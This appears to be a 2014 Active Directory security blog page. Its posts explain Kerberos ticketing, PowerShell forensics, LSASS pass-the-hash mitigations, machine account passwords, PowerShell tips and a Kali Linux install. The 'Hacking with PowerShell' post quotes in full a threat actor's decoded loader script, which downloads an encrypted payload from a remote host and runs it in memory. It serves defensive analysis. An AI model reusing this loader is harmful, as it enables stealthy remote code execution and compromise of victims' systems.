Sep 12 2014

Kerberos, Active Directory’s Secret Decoder Ring

Kerberos Overview

Kerberos is a protocol with roots in MIT named after the three-headed dog, Cerberus. Named because there are 3 parties: the client, the resource server, and a 3rd party (the Key Distribution Center, KDC).

Kerberos can be a difficult authentication protocol to describe, so I will attempt to simplify it as best as possible.

Kerberos authentication leverages long-term asymmetric keys (public key) and short-term symmetric keys (session keys).

Asymmetric key cryptography uses two mathematically connected keys where one key is used to encrypt and the other is used to decrypt data. This is most commonly used in Public Key encryption (PKI) where one of the keys is kept secret by the user or service (Private Key) and the other key is available to anyone who wants it (Public Key). In this manner a user can sign (encrypt a hash with the private key) data to ensure it originated from that user without modification (the receiver decrypts the hash with the public key). Also a person can use the user’s public key to encrypt data so that only the user can decrypt it with the user’s private key.

Symmetric key cryptography uses one key to encrypt and the same to decrypt the data. This is also referred to as a shared secret.

Since asymmetric key cryptography is more processor intensive, it is typically only used to encrypt session keys which use symmetric keys (shared secret).

Active Directory implements Kerberos version 5 in two components: the Authentication service and the Ticket-granting service.

The Authentication Service (AS) is the first contact the client has with Kerberos and is used to lookup the user’s password and create the Ticket Granting Ticket (TGT). The AS also creates the session key the user will use for future communication with Kerberos.

The Ticket Granting Ticket (TGT) is the Kerberos ticket for the Ticket Granting Service (runs on the KDC) and is encrypted using the KDC key (KRBTGT domain Kerberos account), meaning that only a KDC can decrypt and read the ticket. While the user’s ticket ,the TGT, is set to expire after 10 hours (AD default), it can be renewed as often as needed during the TGT renewable lifetime which is 7 days (AD default). Once the authenticating user has a TGT, it presents the TGT to the KDC to get a Service Ticket for the Ticket Granting Service (TGS) on the KDC. Most key Kerberos communication occurs over UDP port 88, though starting with Windows Vista & Windows Server 2008 now default to using TCP for Kerberos ticket requests.

There is a myth in the Windows Kerberos world that if a workstation’s clock is skewed more than 5 minutes from that of the Domain Controller, Kerberos authentication wouldn’t work.
Technically, all clocks in the Kerberos world must be kept closely in-sync to prevent replay attacks. By default, Microsoft Active Directory has a tolerance of 5 minutes. Though in most cases, this doesn’t mater. When a client sends a Kerberos request to a DC, the DC will reply with a “KRB_ERROR – KRB_AP_ERR_SKEW (37)” and the Windows client will update its time for the Kerberos session with the DC and resend the request. Provided the clock skew between the client and DC is not more than the ticket lifetime (10 hours by default), the second request will be successful.

Kerberized Internet Negotiation of Keys (KINK) RFC 4430 details how this works:

If the server clock and the client clock are off by more than the policy-determined clock skew limit (usually 5 minutes), the server MUST return a KRB_AP_ERR_SKEW.  The optional client’s time in the KRB-ERROR SHOULD be filled out.  If the server protects the error by adding the Cksum field and returning the correct client’s time, the client SHOULD compute the difference (in seconds) between the two clocks based upon the client and server time contained in the KRB-ERROR message.  The client SHOULD store this clock difference and use it to adjust its clock in subsequent messages.  If the error is not protected, the client MUST NOT use the difference to adjust subsequent messages, because doing so would allow an attacker to construct authenticators that can be used to mount replay attacks.

KB956627 also describes this behavior.
Confused yet?
Keep reading, it gets easier…

Every service that is Kerberos enabled has an entry point called a Service Principal Name (SPN) and each Kerberos user has a User Principal Name (UPN). For example, a user named Joe User in the ADSECURITY.ORG Kerberos realm aka AD domain (the Kerberos realm is always all Caps) has a UPN of JoeUser@ADSecurity.org. If Joe User initiates a connection to the share path \\server1.ADSecurity.org\Shared then Joe’s workstation will lookup the computer server1.ADSecurity.org in Active Directory and read its SPN attribute (cifs/server1.ADSecurity.org). The computer SPN is used to identify the application server in the Kerberos TGS ticket request. Furthermore, when Joe opens Outlook, his workstation performs similar actions looking up the Exchange server’s SPN.
Exchange 2010 has a number of registered SPNs; here are a few of them used as part of a client connection (using Outlook 2010):

  • exchangeMDB
  • exchangeRFR
  • exchangeAB
  • HTTP

KERBEROS METAPHOR

As mentioned earlier, Kerberos has 3 components, the client, the server, and the KDC (trusted 3rd party). The process is similar to when you travel to a foreign country.

  1. You visit the local passport office with a birth certificate
    (get the Ticket Granting Ticket ticket from the KDC)
  2. You request an entrance Visa for your passport in order to enter the country
    (get the Ticket Granting Service ticket from the KDC – ok, so you would get the Visa from the country’s embassy, but you still need the passport and something authoritative the country’s immigration guard will accept).
  3. You travel to the country with the passport and the country’s entrance Visa
    (present authoritative documentation to gain access to the resource server).

KERBEROS TICKET PROCESS OVERVIEW

Ticket Granting Ticket (aka logon ticket)

1. Joe User logs on with his Active Directory user name and password to a domain-joined computer (usually a workstation). The computer takes the user’s password and runs a one way function (OWF) creating a hash of the password (typically the NTLM hash). Hashing the password is like taking a steak and running it through a meat grinder. The ground beef that is the result can never be reassembled back into the same steak we started with.
This is used to  handle all Kerberos requests for the user (as well as other authentication methods such as NTLM).

2. Kerberos authentication is initiated by sending a timestamp (PREAUTH data) encrypted with the user’s password-based encryption key (password NTLM hash).

3. The user account (JoeUser@adsecurity.org) requests a Kerberos service ticket (TGT) with PREAUTH data (Kerberos Authentication Service Request or AS-REQ).

4. The Domain Controller’s Kerberos service (KDC) receives the authentication request, validates the data, and replies with a TGT (Kerberos AS-REP). The TGT has a Privileged Attribute Certificate (PAC) which contains all the security groups in which the user is a member. The TGT is encrypted and signed by the KDC service account (KRBTGT) and only the domain KRBTGT account can read the data in the TGT.

At this point, the user has a valid TGT which contains the users group membership and is used to prove the user is who they claim to be in further conversations with a Domain Controller (KDC). The TGT is sent to the Domain Controller every time a resource ticket is requested.

Ticket Granting Service ticket (aka resource access ticket)

5. When the user wants to access an AD resource (a file share for example), the user’s TGT from step 4 is presented to a Domain Controller (KDC) as proof of identity with a request for a resource ticket to a specific resource (Service Principal Name). The DC determines if the TGT is valid by checking the TGT’s signature and if valid, generates a resource access ticket (TGS) signed/encrypted with the KRBTGT account and a part encrypted with the Kerberos service account’s session key which the destination service uses to validate the TGS.
Note: The DC doesn’t validate the user has the appropriate access to the service, it only validates the TGT and builds a TGS based on the TGT information.

6. The resource service ticket (TGS) is sent to the user by the Domain Controller and is used for authentication to the resource. At this point, all communication has been between the user’s computer and the Domain Controller (KDC).

7. The user’s computer sends the user’s resource service ticket (TGS) to the service on the resource computer. If the destination service is a file share, the TGS is presented to the CIFS service for access.

8. The destination service (CIFS in this example) validates the TGS by ensuring it can decrypt the TGS component encrypted with the service’s session key. The service may send the TGS to a DC (KDC) to validate the PAC to ensure the user’s group membership presented is accurate. The service reviews the user’s group membership to determine what level of access, if any, the user has to the resource.

THE DETAILED PROCESS

Here’s my example scenario to explain what occurs when a user logs on and opens Outlook to view his Exchange email. The bold text is the simple overview version while the detail follows.

  1. A user logs onto the domain ADSecurity.org on the workstation ADSecurityPC.
  2. The user requests authentication by sending a timestamp encrypted with the users password encryption key.
    The workstation creates an encryption key derived from the user’s password (the user’s password is hashed using a one way function such as MD5 = (A) key) to encrypt a timestamp (date/time) as an authenticator (pre-authentication is required by AD in its default configuration, so the client must send an authenticator) . The authenticator is simply a method the client uses to prove to the KDC that the user is who he claims to be (since only the user & the KDC knows his password) and protects against replay attacks. This information is sent to the KDC in an AS-REQ (Authentication Service Request) packet. This request includes the client supported encryption algorithms.Keys used:
    (A)User’s password derived keyPacket Data:
    User account (user@ADSecurity.org) requests Kerberos service ticket (TGT) with PREAUTH data    KRB5: Kerberos AS-REQ
    1 Forwardable: FORWARDABLE tickets are allowed/requested
    1 Renewable: This ticket is RENEWABLE
    1 Canonicalize: This is a request for a CANONICALIZED ticket
    1 Renewable OK: We accept RENEWED ticketsClient Name (Principal): admin
    Realm: ADSECURITY.ORG
    Service: krbtgt/ADSecurity.org
    till: 2037-09-12 02:48:05 (UTC)
    rtime: 2037-09-12 02:48:05 (UTC)
    Nonce: 1976014234
    Principal Name: user
    HostAddress: METCORPORGDC02<20>
    PAC_Request: True
    Encryption Types: aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac rc4-hmac-exp rc4-hmac-old-exp des-cbc-md5KRB5: Kerberos AS-REP
    Client Name (Principal): user
    Tkt-vno: 5
  3. The Kerberos server (KDC) receives the authentication request, validates the data, and replies with a TGT.
    The KDC receives the AS-REQ, decrypts the authenticator (encrypted with key (A)), and validates the timestamp is within the time skew limits set by the domain (5 minutes by default). If the KDC is satisfied the request is a valid user request, the KDC responds with an AS-REP packet which includes the TGT. The TGT can only be decrypted by a KDC (using the (B) key) and is used to authenticate the user to the Kerberos server so it doesn’t have to look up the user’s password (long-term key) again. The KDC also includes a session key ((C)key) for use in future communication with the KC.Keys used:
    (B) Kerberos account’s password derived key
    (C)    User’s Kerberos service (KDC) session key NOTE: The TGT is encrypted with the KRBTGT account password so only a valid Kerberos server can decrypt it. In an environment with RODCs, each RODC has its own krbtgt account with a unique password. This means that if a user presents a TGT received from a RODC to a writable DC, the DC dumps the TGT and generates a new one.Packet Data:
    The KDC replies with the TGT and session key
    KRB5: Kerberos AS-REP
    Client Name (Principal): User
    Ticket (Tkt-vno): 5
    Realm: ADSECURITY.ORG
    Server Name: krbtgt/ADSecurity.org
    enc-part aes256-cts-hmac-sha1-96
    [Encrypted Key]
    enc-part rc4-hmac
    [Encrypted Key]
  4. The user opens Outlook which locates the user’s mailbox server and requests a TGS ticket for access.
    The workstation locates the Exchange mailbox server containing the user’s mailbox (MetcorpEXMB02.ADSecurity.org) and reads the ServicePrincipalName attribute on the computer account in AD (ExchangeMDB/ADSecurityEXMB02.ADSecurity.org – there are a bunch, so I will just use this one for the example).
    The client then sends a TGS-REQ to the KDC requesting a TGS for access to the Exchange service running on the MetcorpEXMB02 Exchange server. The TGS request includes the target server SPN, the user’s TGT (encrypted with the (B) key), and an authenticator (encrypted with the (C)key).Keys used:
    (B)     Kerberos account’s password derived key
    (C)    User’s Kerberos service (KDC) session keyPacket Data:
    User account requests service ticket (TGS) for MetcorpEXMB02 Exchange service access
    KRB5: Kerberos TGS-REQ
    1 Forwardable: FORWARDABLE tickets are allowed/requested
    1 Renewable: This ticket is RENEWABLE
    1 Canonicalize: This is a request for a CANONICALIZED ticket
    Realm: ADSECURITY.ORG
    Server Name: ExchangeMDB/MetcorpEXMB02.ADSecurity.org
    till: 2037-09-12 02:48:05 (UTC)
    Nonce: 1976014234
    Encryption Types: aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac rc4-hmac-exp rc4-hmac-old-exp des-cbc-md5KRB5: Kerberos AS-REP
  5. The KDC validates the TGS request and replies with the TGS.
    The KDC replies with a TGS-REP packet to the client which includes 2 session tickets (TGS) (2?). One of the session tickets is encrypted with the user’s (KDC) session key ((C) key) and the second one is encrypted with the target server’s (KDC) session key ((D) key). The second TGS also includes the user’s group membership & associated SIDs which provides the server information used to determine authorization and help the server determine: Is the user allowed to access the server’s resource?
    Both session tickets include a new session key ((E)key) for exclusive use in communication between the Exchange server and the user.Keys used:
    (C)     User’s Kerberos service (KDC) session key
    (D)     Server’s Kerberos service (KDC) session key
    (E)    User-Exchange service session keyPacket Data:
    The KDC replies with the service ticket (TGS) for MetcorpEXMB02 Exchange service access
    KRB5: Kerberos TGS-REP
    Client Name (Principal): User
    Ticket (Tkt-vno): 5
    Realm: ADSECURITY.ORG
    Server Name: krbtgt/ADSecurity.org
    enc-part aes256-cts-hmac-sha1-96
    [Encrypted Key]
    enc-part rc4-hmac
    [Encrypted Key]
  6. The client authenticates to the Exchange server with the session ticket.
    The client sends the target server (MetcorpEXMB02.ADSecurity.org) an AP-REQ packet containing the TGS it received from the KDC encrypted with the server’s session key ((D) key) and an authenticator encrypted with the user-Exchange server session key ((E) key) . This lets the Exchange server know that the user was authenticated to the Kerberos domain (realm) and that the TGS is valid (assuming the Exchange server is able to decrypt it). The client also sends the server an authenticator (timestamp) encrypted with the session key ((E)key) it received from the KDC in Step 5. The Exchange server decrypts the TGS, extracts the user’s group information, extracts the session key, and uses the session key to decrypt the authenticator. This provides the server enough information to make an authorization decision. If the user is authorized to connect to the server, it sends a reply.Keys used:
    (C)     User’s Kerberos service (KDC) session key
    (D)     Server’s Kerberos service (KDC) session key
    (E)     User-Exchange service session key
  7. The Exchange server replies that authorization to the service is granted.
    The Exchange server sends the client an AP-REP packet which includes its own authenticator encrypted with the user-Exchange service session key ((E) key). This assumes the client requested mutual authentication which is the default configuration.Keys used:
    (E)    User-Exchange service session key

Note:
This is a simplified explanation of Kerberos and doesn’t cover everything involved in this process.

Kerberos Key Storage Locatons

Workstation Keys:

  • User Key
  • Ticket-Granting Ticket
  • Ticket-Granting Service Session Key
  • Service Ticket
  • Session Key

Domain Controller:

  • User Key
  • Ticket-Granting Service Key
  • Service Key

Server:

  • Service Key
  • Session Key

TICKETING

There are different “tickets” that are used to authenticate a client to a server’s resource. The client can be a user or a computer.

The Ticket Granting Ticket (TGT) is the first ticket given to the requester (user or computer.

The TGT is comprised of the following fields:

  • Ticket Version Number
  • Realm: The AD domain name in CAPITAL LETTERS
  • Server Name: The KDC
  • Flags: Kerberos Flag options
  • Key
  • Client Realm: The client’s AD domain name in CAPITAL LETTERS
  • Client Name: The user name
  • Transited: If the user is in a different domain than the resource, Kerberos tickets have transited.
  • Authentication
  • Time
  • Start Time
  • End Time
  • Renew Till
  • Client Address
  • Authorization Data

Ticket Flags:

  • FORWARDABLE
  • FORWARDED
  • PROXIABLE
  • PROXY
  • MAY-POSTDATE
  • POSTDATED
  • INVALID
  • RENEWABLE
  • INITIAL
  • PRE-AUTHENT
  • HW-AUTHENT

Supported Encryption Algorithms & Key Lengths:

DEFAULT AD KERBEROS POLICY SETTINGS

  • Enforce user logon restrictions: Enabled
  • Maximum lifetime for service ticket: 600 minutes (10 hours)
  • Maximum lifetime for user ticket: 600 minutes (10 hours)
  • Maximum lifetime for user ticket renewal : 7 days
  • Maximum tolerance for computer clock synchronization: 5 minutes

References:

Sep 10 2014

PowerShell v5 Preview

PowerShell Magazine notes that the September 2014 preview of Windows Management Framework 5.0 (PowerShell v5) is available for download here.

Here’s a list of changes as noted in this article by PowerShell Magazine:

Some of these changes are:

  • Generate Windows PowerShell cmdlets based on an OData endpoint
  • Manage .ZIP files with new cmdlets
  • DSC Authoring Improvements in Windows PowerShell ISE
  • New Attribute for defining DSC meta-configuration
  • Use partial configurations DSC
  • Cross-computer synchronization through DSC
  • Get the current DSC configuration status
  • Compare, Update, and Publish DSC configurations
  • Audit Windows PowerShell usage by transcription and logging
  • Extract and parse structured objects out of string content
  • Extend the item noun to enable Symbolic Links
  • Develop with classes in Windows PowerShell
  • Register a PSRepository with PowerShell Get
  • Network Switch management through Windows PowerShell (improvements)

Sep 07 2014

Investigating PowerShell Attacks

PowerShell is a compelling method for attackers (and pentesters) since code is run in memory and there is no reason to touch disk (unlike executables, batch files, and vbscripts). Projects like PowerSploit and POSHSec prove that PowerShell is the future of attacks.

PowerShell Magazine has a great article on Investigating PowerShell Attacks:

Prior articles by Matthew Graeber, Joseph Bialek, and Will Schroeder did a great job of explaining why PowerShell is so dangerous in the hands of an attacker – particularly given elevated privileges during the post-exploitation phase of an incident. It provides:

  • A built-in mechanism for remote command execution
  • The ability to execute malicious code without ever touching disk
  • The ability to evade many Anti-Virus and Intrusion Prevention Systems
  • Full access to WMI and .NET Framework

The unauthorized use of PowerShell presents several challenges to forensic analysts and system administrators alike:

  • As a legitimate component of Windows, PowerShell execution does not necessarily indicate malicious behavior.
  • PowerShell 2.0 does not provide a practical mechanism for detailed (e.g. per-command) auditing. PowerShell 3.0 and later provides comprehensive module logging – but is only installed by default on Windows 8 or Server 2012, which remain uncommon in many corporate environments.
  • PowerShell remoting sessions occur in ephemeral process memory with few-to-no persistent artifacts.
  • Many system administrators and security professionals remain unfamiliar with PowerShell and its management or security controls.

Faced with these mounting challenges, we decided to research the forensic “footprints” left behind by the ways that an attacker might use PowerShell – a topic for which publicized information is scarce. Our work focused on three fundamental scenarios: local PowerShell execution, PowerShell remoting, and the configuration of a persistent PowerShell backdoor through the use of WMI. We examined multiple sources of evidence, including the registry, file system, event logs, process memory, and network traffic.

Read the rest of the article, Investigating PowerShell Attacks.

References:

Sep 06 2014

The Evolution of Protected Processes Part 1: Pass-the-Hash Mitigations in Windows 8.1

Pass-the-Hash has been around for years

The post on Alex Ionescu’s blog, The Evolution of Protected Processes Part 1: Pass-the-Hash Mitigations in Windows 8.1, describes the latest mitigation techniques Microsoft is incorporating in the latest versions of Windows.

He describes the importance of LSASS in his post:
(emphasis/bold text is my own)

The LSASS Process

In Windows, local user accounts are hashed using a well-known algorithm (NTLM) and stored in a database called the SAM (Security Accounts Manager), which is in itself a registry hive file. Just like with other operating systems, a variety of offline, and online attacks exist in order to obtain, reset, or otherwise reuse the hashes that are stored in the SAM, going from the usual “Password Reset” boot emergency disks, to malicious privilege escalation. Additionally, a variety of other cryptographic data is also stored in the SECURITY database, yet another registry hive file. This data includes information such as secrets, saved plain-text passwords, and more.

A process called the Local Security Authority (LSASS) manages the run-time state of this information, and is ultimately responsible for all logon operations (including remote logon over Active Directory). Therefore, in order to obtain access to this data, two primary mechanisms are used:

1) File-based attacks: the SAM/SECURITY hives are accessed, either offline, or online through tricks such as using Volume Shadow Copies, and the hashes + secrets extracted. This mechanism has disadvantages in that the storage formats can change, detailed registry knowledge is needed, and LSASS will often obfuscate much of the data (such as plain-text cached passwords).

2) Process-based attacks: since the hash and secret data from #1 above is neatly loaded by LSASS in readable form (and accessible thanks to easy-to-use query APIs), it is often much more preferable to simply inject code into the LSASS process itself, which is then used to dump hashes or secrets, as well as to create tokens based on those hashes. Additionally, researchers such as Gentil Kiwi have even discovered that LSASS contains plain-text passwords using reversible symmetric cryptography (with the key stored in the LSASS process itself). Tools now exist today to not only pass-the-hash, but to also pass-the-pass. In a default Windows 8 installation, both the local user account password, as well as the Microsoft Live Services password, is available in a plaintext-retrievable way.

Obviously, both this file and the process are protected such that only the SYSTEM account can access them. But once running as Administrator, this is a simple hurdle — and since most users still run as Administrators (albeit with UAC, but that’s not a security boundary), exploits only have to escape whatever local sandbox they’re running in, get admin rights, get a system token, and inject into LSASS. And of course, in a shared computer environment, another admin on the machine can get the passwords of all the users.

What’s changed in Windows 8.1? Run Mimikatz or other pass-the-hash attacks and they still work out-of-the-box. But on a Windows 8.1 RT system (supposing one can compile for ARM), they won’t — in fact, even attempting to attach a debugger to the LSASS process will fail, regardless of user-mode permissions.

The title of this blog post gives it away: in Windows 8.1 RT, LSASS is now a protected process light. And with Registry Editor and the right key/value pair, your Windows 8.1 installation (non-RT) can take advantage of this too.

Read the rest of Alex’s post here.

References:

Sep 05 2014

Hacking with PowerShell

Chinese hackers, aka “Deep Panda”, leverage PowerShell while compromising US think-tank computer systems.

Recently, we detected breaches of these networks via the use of powershell scripts deployed by the adversary as scheduled tasks on Windows machines. The scripts are passed to the powershell interpreter through the command line to avoid placement of extraneous files on the victim machine that could potentially trigger AV- or Indicator of Compromise (IOC)-based detection.

The script in the command line is base64 encoded, but when decoded it translates to the following code snippet:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

$wc = New-Object -TypeName System.Net.WebClient

$wc.Headers.Add(“Accept-Language”, “en-US,en;q=0.” + ([IntPtr]::Size – 1).ToString())

$wc.Headers.Add(“User-Agent”, “Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)”)

$rndn = Get-Random

$wc.Headers.Add(“Cookie”, “p=” + $rndn)

 

$data = $wc.DownloadData(“https://<ANONYMIZED>/config/oauth/”)

 

[string[]]$xags = “https://<ANONYMIZED>/config/login/”, “WMITool.Program”, “Main”, “/f”, “ssh”, “/s”, “<ANONYMIZED>”, “/p”, “443”

 

$Passphrase = “<ANONYMIZED>”

$salts = “<ANONYMIZED>”

$r = new-Object System.Security.Cryptography.RijndaelManaged

$pass = [System.Text.Encoding]::UTF8.GetBytes($Passphrase)

$salt = [System.Text.Encoding]::UTF8.GetBytes($salts)

 

$r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, “SHA1″, 5).GetBytes(32) #256/8

$r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($rndn) )[0..15]

 

$d = $r.CreateDecryptor()

$ms = new-Object IO.MemoryStream @(,$data)

$cs = new-Object Security.Cryptography.CryptoStream $ms,$d,”Read”

$dfs = New-Object System.IO.Compression.GzipStream $cs, ([IO.Compression.CompressionMode]::Decompress)

$msout = New-Object System.IO.MemoryStream

[byte[]]$buffer = new-object byte[] 4096

[int]$count = 0

do

{

$count = $dfs.Read($buffer, 0, $buffer.Length)

$msout.Write($buffer, 0, $count)

} while ($count -gt 0)

 

$dfs.Close()

$cs.Close()

$ms.Close()

$r.Clear()

 

[byte[]]$bin = $msout.ToArray()

$al = New-Object -TypeName System.Collections.ArrayList

$al.Add($xags)

$asm = [System.Reflection.Assembly]::Load($bin)

$asm.EntryPoint.Invoke($null, $al.ToArray())

sleep 5

Exit

Once executed, it downloads and executes from memory a .NET executable (typically named Wafer), which in turn typically downloads and runs MadHatter .NET Remote Access Tool (RAT), one of the favorites of DEEP PANDA. By running them from memory, it leaves no disk artifacts or host-based IOCs that can be identified in forensic analysis. This is typical for DEEP PANDA — stealth is their specialty and they prefer to operate in a way that leaves a minimal footprint on a victim system and often allows them to evade detection for a very long time.

Read the article:
Deep in Thought: Chinese Targeting of National Security Think Tanks

Sep 03 2014

Machine Account (AD Computer Object) Password Updates

There seems to be quite a bit of confusion when it comes to domain-joined computers and how/when they update their AD computer object (machine account) passwords.

Here are a few key points on this process:

  • The default domain policy setting configures domain-joined Windows 2000 (& up) computers to update their passwords every 30 days (default).
  • Computer password update policy is configured in the Default Domain Policy setting “Domain member: Maximum machine account password age” in “Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options”.  If the setting is “not defined”, the default of 30 days is set. The policy can be set to never, but this is not recommended.
  • Every computer joined to an AD domain has an associated computer account in AD and that account (object) has an associated password.
  • The computer password policy is more of a “guideline” than a rule – the computer updates the password when it thinks it needs to, but the domain doesn’t block computer accounts with passwords older than the policy setting.
  • Computer accounts (and associated passwords) don’t expire like user accounts and computer password updates are not forwarded to the PDC after the change is made on a DC (again, unlike with user account password changes).
  • AD Trust passwords follow this computer password policy setting.
  • The computer’s Netlogon service handles the machine account password updates, not Active Directory. When the computer boots up and the Netlogon service starts, it checks to see when the password was last set and when policy states it should be changed. The process sleeps until the computer is rebooted or until the password change date. At this point, the Netlogon process (Workstation Scavenger Thread) changes the computer’s AD account policy. If it can’t, the workstation scavenger thread sleeps for 15 minutes (by default – changed by modifying ScavengeInterval) and checks to see if a password update if required.
  • The computer account’s password is used to establish a secure session with an AD Domain Controller which is used for user authentication (as well as LocalSystem and NetworkService credentials).
  • The computer stores the machine account password in the registry location: HKLM\SECURITY\Policy\Secrets\$machine.ACC (encrypted secrets storage section of the registry).
  • The computer (and AD) stores the current password and the previous one (CurrVal and OldVal keys respectively, in the registry location above).
  • The password is stored in the computer account object in the unicodepwd (current password) and lmpwdHistory (previous password) attributes. The timestamp for this update is stored in the pwdlastset attribute in integer8 format.
  • The password is 120 characters (UTF16, or 240 bytes).
  • The computer checks for a valid secure channel to a DC, changes the password locally (in the registry), and then sends the password update to a Domain Controller. If the DC refuses the password change, the computer’s local password change is reverted.
  • If the computer is turned off for an extended period of time (weeks, months, etc) and is not turned on until the password is older than the computer password policy setting, the computer updates its password normally without issue (assuming there are no other extenuating circumstances with network connections to an available DC).
  • Since computer password updates occur over secure channel, if the computer has an existing secure channel session with a RODC (the RODC has the existing computer’s password in its AD database), the RODC forwards the change request to a writable DC. The RODC then attempts to replicate the password using ReplicateSingleObject (RSO).   If the computer’s password is not cached on the RODC (no secure session), the password change request follows the existing secure session the computer has with a writable DC.
  • The computer account has to have the password cached on the local RODC for the password change to be successful. Once the RODC updates its local database with the new computer account password, it replicates the updated password to a writable DC. If the password is not cached on the RODC (or is not allowed to be cached), the request is forwarded to the writable DC nearby (2008 or newer).
  • Managed Service Accounts introduced with Windows Server 2008 R2 are treated as computer accounts and update with the same frequency.
  • In a VDI environment, it may be necessary to configure the computer to not automatically update the computer password in AD (since the VDI infrastructure will manage these passwords). See Microsoft KB 327825 below for information.

NOTE: There will be an issue if the computer object is restored to a backup > 60 days since the computer will not have the older password saved locally (only the current and last password are kept).

Resetting (changing) a computer account password:

With Windows 2000 or Windows XP, you can also reset the machine account from within the graphical user interface (GUI). In the Active Directory Users and Computers MMC (DSA), you can right-click the computer object in the Computers or appropriate container and then click Reset Account. This resets the machine account. Resetting the password for domain controllers using this method is not allowed. Resetting a computer account breaks that computer’s connection to the domain and requires it to rejoin the domain.

When using the computer password last set attribute to identify inactive computers, I highly recommend you filter on the OS version (target workstations or servers, not both at the same time). Additionally, filter on the primary group ID to ensure that Domain Controllers are never affected – using PrimaryGroupID = 515 will guarantee a DC will never be selected.

Interesting Note: While you can’t disable a Domain Controller’s computer account through the GUI, specifically Active Directory Users & Computers, it is possible to disable a DC programatically, i.e. via PowerShell, so be careful.

Example PowerShell code to find inactive computers (workstations) in the domain:

1
2
3
4
5
6
7
Import-Module activedirectory
[int]$ComputerPasswordAgeDays = 90
IF ((test-path “c:\temp”) -eq $False) { md “c:\temp” }
$ExportFile = “c:\temp\InactiveWorkstations.csv”
$ComputerStaleDate = (Get-Date).AddDays(-$ComputerPasswordAgeDays)
$InactiveWorkstations = Get-ADComputer -filter { (passwordLastSet -le $ComputerStaleDate) -and (OperatingSystem -notlike “*Server*”) -and (OperatingSystem -like “*Windows*”) } -properties Name, DistinguishedName, OperatingSystem,OperatingSystemServicePack, passwordLastSet,LastLogonDate,Description
$InactiveWorkstations | export-csv $ExportFile

I recommend also combining this with the last time the Windows computer rebooted by checking LastLogonDate (AD Attribute LastLogonTimestamp).

 

References:

 

 

 

Sep 02 2014

PowerShell: Using Active Directory .Net methods in PowerShell Part 2

Powershell has the incredible ability to run some .Net methods natively.  Some of this data can also be gathered using AD commandlets. Read Part 1 for others.

Here are a few of my favorites.

Get a Computer’s Site:

[System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite()

 

Get a User’s Domain:

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name

 

Get a Computer’s Domain:

 [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain().Name

List Active Directory FSMOs:

([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).SchemaRoleOwner
([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).NamingRoleOwner

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).InfrastructureRoleOwner
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).PdcRoleOwner
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).RidRoleOwner

List All Domain Controllers in a Domain:

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers 

 Get Active Directory Domain Mode:

 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainMode   

 Get Trusts for current Active Directory Domain:

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

 

Get Active Directory Forest Name:

[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Name

Get a List of Sites in the Active Directory Forest:

[array] $ADSites = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Sites

Get Active Directory Forest Domains:

[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Domains

Get Active Directory Forest Global Catalogs:

[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs

Get Active Directory Forest Application Partitions:

[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().ApplicationPartitions

Get Active Directory Forest Mode:

[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().ForestMode 

Get Active Directory Forest Root Domain:

[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().RootDomain 

Get Active Directory Forest Schema DN:

[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Schema

Sep 01 2014

PowerShell Parameters

One of the most useful features in Powershell is Parameters.
Microsoft has some excellent documentation on Powershell Parameters

Some of my favorites:

Default Parameter

[Switch]$Enabled = $True

Mandatory Parameter

[parameter(Mandatory=$true)]
[String]$Name

Validate Parameter Options in  a set

[ValidateSet("TCP", "UDP")]
[string]$NewPortType

Validate Parameter Options in a range (case INsensitive)

[ValidateRange(1,65535)]
[string]$NewPortNumber

Add Parameter Aliases

[alias("PortScope","Scope")]
[string] $NewPortScope

 

Aug 30 2014

PowerShell: Drop (remove) the last character from a string

Drop (remove) the last character from a string:

$ComputerName = ‘DCCOMP01$’
$ComputerName = $ComputerName.Substring(0,$ComputerName.Length-1)
$ComputerName

Result is “DCCOMP01″.
This works especially well when the last character is a special PowerShell reserved one like “$”.

Aug 27 2014

Installing Kali Linux on Windows 8 Hyper-V

Installing Kali Linux on Windows 8 Hyper-V (Windows 8.1 includes improvements to the Hyper-V platform)

Installing Hyper-V:

  • Requirement: Windows 8 Pro or Windows 8 Enterprise which include Client Hyper-V.
  • Requirement: Your computer processor must support virtualization technology (VT), though most processors in the past 5 years support VT (pretty much all Intel i-series processors, i3, i5, i7).
  • Enable virtualization technology (VT) on your computer’s processor by editing the BIOS settings at boot-up (many computer BIOS have VT disabled).
  • Open the Start Screen, also referred to as Metro, (press the Windows Key) and search for “Windows Feature”. Open “Turn Windows Features on or off” and scroll down to “Hyper-V”.
  • Expand and Check the box next to Hyper-V. Ensure there is a check box. If there isn’t, visualization technology, you won’t be able to check the box and enable install of “Hyper-V Platform”.
  • Restart the computer when prompted.

 

Installing Kali Linux in a Hyper-V VM.

  • Ensure the latest version of Kali Linux ISO (Kali Linux 64 bit ISO) is on a local storage device (hard drive, USB drive, etc).
  • Open the Hyper-V Manager.
  • Create a new Virtual Switch by opening “Virtual Switch Manager” to enable VM networking.
